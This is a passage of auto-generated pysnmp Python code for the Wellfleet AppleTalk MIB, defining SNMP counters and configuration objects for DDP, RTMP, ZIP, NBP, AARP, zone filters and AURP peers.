1, 28), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpOutRequests.setStatus('mandatory') wfApplePortDdpInReceives = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 29), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpInReceives.setStatus('mandatory') wfApplePortDdpInLocalDatagrams = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 30), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpInLocalDatagrams.setStatus('mandatory') wfApplePortDdpNoProtocolHandlers = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 31), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpNoProtocolHandlers.setStatus('mandatory') wfApplePortDdpTooShortErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 32), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpTooShortErrors.setStatus('mandatory') wfApplePortDdpTooLongErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 33), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpTooLongErrors.setStatus('mandatory') wfApplePortDdpChecksumErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 34), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpChecksumErrors.setStatus('mandatory') wfApplePortDdpForwRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 35), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpForwRequests.setStatus('mandatory') wfApplePortDdpOutNoRoutes = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 36), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpOutNoRoutes.setStatus('mandatory') wfApplePortDdpBroadcastErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 37), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpBroadcastErrors.setStatus('mandatory') wfApplePortDdpHopCountErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 38), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortDdpHopCountErrors.setStatus('mandatory') wfApplePortRtmpInDataPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 39), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortRtmpInDataPkts.setStatus('mandatory') wfApplePortRtmpOutDataPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 40), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortRtmpOutDataPkts.setStatus('mandatory') wfApplePortRtmpInRequestPkts = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 41), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortRtmpInRequestPkts.setStatus('mandatory') wfApplePortRtmpNextIREqualChanges = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 42), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortRtmpNextIREqualChanges.setStatus('mandatory') wfApplePortRtmpNextIRLessChanges = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 43), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortRtmpNextIRLessChanges.setStatus('mandatory') wfApplePortRtmpRouteDeletes = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 44), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortRtmpRouteDeletes.setStatus('mandatory') wfApplePortRtmpNetworkMismatchErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 45), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortRtmpNetworkMismatchErrors.setStatus('mandatory') wfApplePortRtmpRoutingTableOverflows = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 46), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortRtmpRoutingTableOverflows.setStatus('mandatory') wfApplePortZipInZipQueries = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 47), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInZipQueries.setStatus('mandatory') wfApplePortZipInZipReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 48), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInZipReplies.setStatus('mandatory') wfApplePortZipOutZipReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 49), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipOutZipReplies.setStatus('mandatory') wfApplePortZipInZipExtendedReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 50), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInZipExtendedReplies.setStatus('mandatory') wfApplePortZipOutZipExtendedReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 51), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipOutZipExtendedReplies.setStatus('mandatory') wfApplePortZipInGetZoneLists = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 52), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInGetZoneLists.setStatus('mandatory') wfApplePortZipOutGetZoneListReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 53), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipOutGetZoneListReplies.setStatus('mandatory') wfApplePortZipInGetLocalZones = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 54), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInGetLocalZones.setStatus('mandatory') wfApplePortZipOutGetLocalZoneReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 55), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipOutGetLocalZoneReplies.setStatus('mandatory') wfApplePortZipInGetMyZones = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 56), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInGetMyZones.setStatus('obsolete') wfApplePortZipOutGetMyZoneReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 57), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipOutGetMyZoneReplies.setStatus('obsolete') wfApplePortZipZoneConflictErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 58), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipZoneConflictErrors.setStatus('mandatory') wfApplePortZipInGetNetInfos = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 59), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInGetNetInfos.setStatus('mandatory') wfApplePortZipOutGetNetInfoReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 60), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipOutGetNetInfoReplies.setStatus('mandatory') wfApplePortZipZoneOutInvalids = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 61), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipZoneOutInvalids.setStatus('mandatory') wfApplePortZipAddressInvalids = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 62), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipAddressInvalids.setStatus('mandatory') wfApplePortZipOutGetNetInfos = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 63), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipOutGetNetInfos.setStatus('mandatory') wfApplePortZipInGetNetInfoReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 64), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInGetNetInfoReplies.setStatus('mandatory') wfApplePortZipOutZipQueries = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 65), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipOutZipQueries.setStatus('mandatory') wfApplePortZipInErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 66), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortZipInErrors.setStatus('mandatory') wfApplePortNbpInLookUpRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 67), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpInLookUpRequests.setStatus('mandatory') wfApplePortNbpInLookUpReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 68), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpInLookUpReplies.setStatus('mandatory') wfApplePortNbpInBroadcastRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 69), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpInBroadcastRequests.setStatus('mandatory') wfApplePortNbpInForwardRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 70), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpInForwardRequests.setStatus('mandatory') wfApplePortNbpOutLookUpRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 71), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpOutLookUpRequests.setStatus('mandatory') wfApplePortNbpOutLookUpReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 72), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpOutLookUpReplies.setStatus('mandatory') wfApplePortNbpOutBroadcastRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 73), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpOutBroadcastRequests.setStatus('mandatory') wfApplePortNbpOutForwardRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 74), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpOutForwardRequests.setStatus('mandatory') wfApplePortNbpRegistrationFailures = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 75), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpRegistrationFailures.setStatus('mandatory') wfApplePortNbpInErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 76), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortNbpInErrors.setStatus('mandatory') wfApplePortEchoRequests = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 77), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortEchoRequests.setStatus('mandatory') wfApplePortEchoReplies = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 78), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfApplePortEchoReplies.setStatus('mandatory') wfApplePortInterfaceCost = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 79), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(15))).clone(namedValues=NamedValues(("cost", 15)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortInterfaceCost.setStatus('mandatory') wfApplePortWanBroadcastAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 80), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortWanBroadcastAddress.setStatus('mandatory') wfApplePortWanSplitHorizonDisable = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 81), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('enabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortWanSplitHorizonDisable.setStatus('mandatory') wfApplePortZoneFilterType = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 82), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("allow", 1), ("deny", 2), ("partallow", 3), ("partdeny", 4))).clone('deny')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortZoneFilterType.setStatus('mandatory') wfApplePortMacIPDisable = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 3, 1, 83), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('disabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfApplePortMacIPDisable.setStatus('mandatory') wfAppleLclZoneTable = MibTable((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 4), ) if mibBuilder.loadTexts: wfAppleLclZoneTable.setStatus('mandatory') wfAppleLclZoneEntry = MibTableRow((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 4, 1), ).setIndexNames((0, "Wellfleet-AT-MIB", "wfAppleLclZonePortCircuit"), (0, "Wellfleet-AT-MIB", "wfAppleLclZoneIndex")) if mibBuilder.loadTexts: wfAppleLclZoneEntry.setStatus('mandatory') wfAppleLclZoneDelete = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 4, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("created", 1), ("deleted", 2))).clone('created')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleLclZoneDelete.setStatus('mandatory') wfAppleLclZonePortCircuit = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 4, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleLclZonePortCircuit.setStatus('mandatory') wfAppleLclZoneIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 4, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleLclZoneIndex.setStatus('mandatory') wfAppleLclZoneName = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 4, 1, 4), DisplayString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleLclZoneName.setStatus('mandatory') wfAppleAarpTable = MibTable((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 5), ) if mibBuilder.loadTexts: wfAppleAarpTable.setStatus('mandatory') wfAppleAarpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 5, 1), ).setIndexNames((0, "Wellfleet-AT-MIB", "wfAppleAarpNet"), (0, "Wellfleet-AT-MIB", "wfAppleAarpNode"), (0, "Wellfleet-AT-MIB", "wfAppleAarpIfIndex")) if mibBuilder.loadTexts: wfAppleAarpEntry.setStatus('mandatory') wfAppleAarpIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 5, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAarpIfIndex.setStatus('mandatory') wfAppleAarpNet = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 5, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAarpNet.setStatus('mandatory') wfAppleAarpNode = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 5, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAarpNode.setStatus('mandatory') wfAppleAarpPhysAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 5, 1, 4), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAarpPhysAddress.setStatus('mandatory') wfAppleZipTable = MibTable((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 6), ) if mibBuilder.loadTexts: wfAppleZipTable.setStatus('mandatory') wfAppleZipEntry = MibTableRow((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 6, 1), ).setIndexNames((0, "Wellfleet-AT-MIB", "wfAppleZipZoneNetStart"), (0, "Wellfleet-AT-MIB", "wfAppleZipIndex")) if mibBuilder.loadTexts: wfAppleZipEntry.setStatus('mandatory') wfAppleZipZoneNetStart = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 6, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleZipZoneNetStart.setStatus('mandatory') wfAppleZipZoneNetEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 6, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleZipZoneNetEnd.setStatus('mandatory') wfAppleZipIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 6, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleZipIndex.setStatus('mandatory') wfAppleZipZoneName = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 6, 1, 4), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleZipZoneName.setStatus('mandatory') wfAppleZipZoneState = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 6, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("invalid", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleZipZoneState.setStatus('mandatory') wfAppleZoneFilterTable = MibTable((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 7), ) if mibBuilder.loadTexts: wfAppleZoneFilterTable.setStatus('mandatory') wfAppleZoneFilterEntry = MibTableRow((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 7, 1), ).setIndexNames((0, "Wellfleet-AT-MIB", "wfAppleZoneFilterIndex")) if mibBuilder.loadTexts: wfAppleZoneFilterEntry.setStatus('mandatory') wfAppleZoneFilterDelete = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 7, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("created", 1), ("deleted", 2))).clone('created')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleZoneFilterDelete.setStatus('mandatory') wfAppleZoneFilterCircuit = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 7, 1, 2), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleZoneFilterCircuit.setStatus('mandatory') wfAppleZoneFilterIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 7, 1, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleZoneFilterIpAddress.setStatus('mandatory') wfAppleZoneFilterCircuitType = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 7, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("rtmp", 1), ("aurp", 2))).clone('rtmp')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleZoneFilterCircuitType.setStatus('mandatory') wfAppleZoneFilterIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 7, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleZoneFilterIndex.setStatus('mandatory') wfAppleZoneFilterName = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 7, 1, 6), DisplayString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleZoneFilterName.setStatus('mandatory') wfAppleAurpBase = MibIdentifier((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8)) wfAppleAurpBaseDelete = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("created", 1), ("deleted", 2))).clone('created')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpBaseDelete.setStatus('mandatory') wfAppleAurpBaseDisable = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('enabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpBaseDisable.setStatus('mandatory') wfAppleAurpBaseState = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("up", 1), ("down", 2), ("init", 3), ("notpres", 4))).clone('down')).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpBaseState.setStatus('mandatory') wfAppleAurpBaseDomain = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 4), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpBaseDomain.setStatus('mandatory') wfAppleAurpBaseIpAddress = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 5), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpBaseIpAddress.setStatus('mandatory') wfAppleAurpBasePromiscuous = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("notpromisc", 1), ("promisc", 2))).clone('notpromisc')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpBasePromiscuous.setStatus('mandatory') wfAppleAurpBaseInAcceptedOpenReqs = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 7), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpBaseInAcceptedOpenReqs.setStatus('mandatory') wfAppleAurpBaseInRejectedOpenReqs = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 8), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpBaseInRejectedOpenReqs.setStatus('mandatory') wfAppleAurpBaseInRouterDowns = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 9), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpBaseInRouterDowns.setStatus('mandatory') wfAppleAurpBaseInPktsNoPeers = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 10), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpBaseInPktsNoPeers.setStatus('mandatory') wfAppleAurpBaseInInvalidVerions = MibScalar((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 8, 11), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpBaseInInvalidVerions.setStatus('mandatory') wfAppleAurpTable = MibTable((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9), ) if mibBuilder.loadTexts: wfAppleAurpTable.setStatus('mandatory') wfAppleAurpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1), ).setIndexNames((0, "Wellfleet-AT-MIB", "wfAppleAurpEntryIpAddress")) if mibBuilder.loadTexts: wfAppleAurpEntry.setStatus('mandatory') wfAppleAurpEntryDelete = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("created", 1), ("deleted", 2))).clone('created')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryDelete.setStatus('mandatory') wfAppleAurpEntryDisable = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('enabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryDisable.setStatus('mandatory') wfAppleAurpEntryState = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("up", 1), ("down", 2))).clone('down')).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryState.setStatus('mandatory') wfAppleAurpEntryIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 4), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryIpAddress.setStatus('mandatory') wfAppleAurpEntryZoneFilterType = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("allow", 1), ("deny", 2), ("partallow", 3), ("partdeny", 4))).clone('deny')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryZoneFilterType.setStatus('mandatory') wfAppleAurpEntryTimeoutCommand = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 1000)).clone(3)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryTimeoutCommand.setStatus('mandatory') wfAppleAurpEntryRetryCommand = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 100)).clone(3)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryRetryCommand.setStatus('mandatory') wfAppleAurpEntryUpdateRate = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(10, 604800)).clone(30)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryUpdateRate.setStatus('mandatory') wfAppleAurpEntryLhfTimeout = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 9), Integer32().subtype(subtypeSpec=ValueRangeConstraint(30, 31536000)).clone(90)).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryLhfTimeout.setStatus('mandatory') wfAppleAurpEntryHopCountReduction = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('disabled')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryHopCountReduction.setStatus('mandatory') wfAppleAurpEntryInterfaceCost = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 11), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryInterfaceCost.setStatus('mandatory') wfAppleAurpEntrySuiFlags = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(30720))).clone(namedValues=NamedValues(("all", 30720))).clone('all')).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntrySuiFlags.setStatus('mandatory') wfAppleAurpEntryType = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 13), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: wfAppleAurpEntryType.setStatus('mandatory') wfAppleAurpEntryPeerDomainId = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 14), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: wfAppleAurpEntryPeerDomainId.setStatus('mandatory') wfAppleAurpEntryPeerUpdateRate = MibTableColumn((1, 3, 6, 1, 4, 1, 18, 3, 5, 4, 9, 1, 15), Integer32()).setMaxAccess("readonly") if 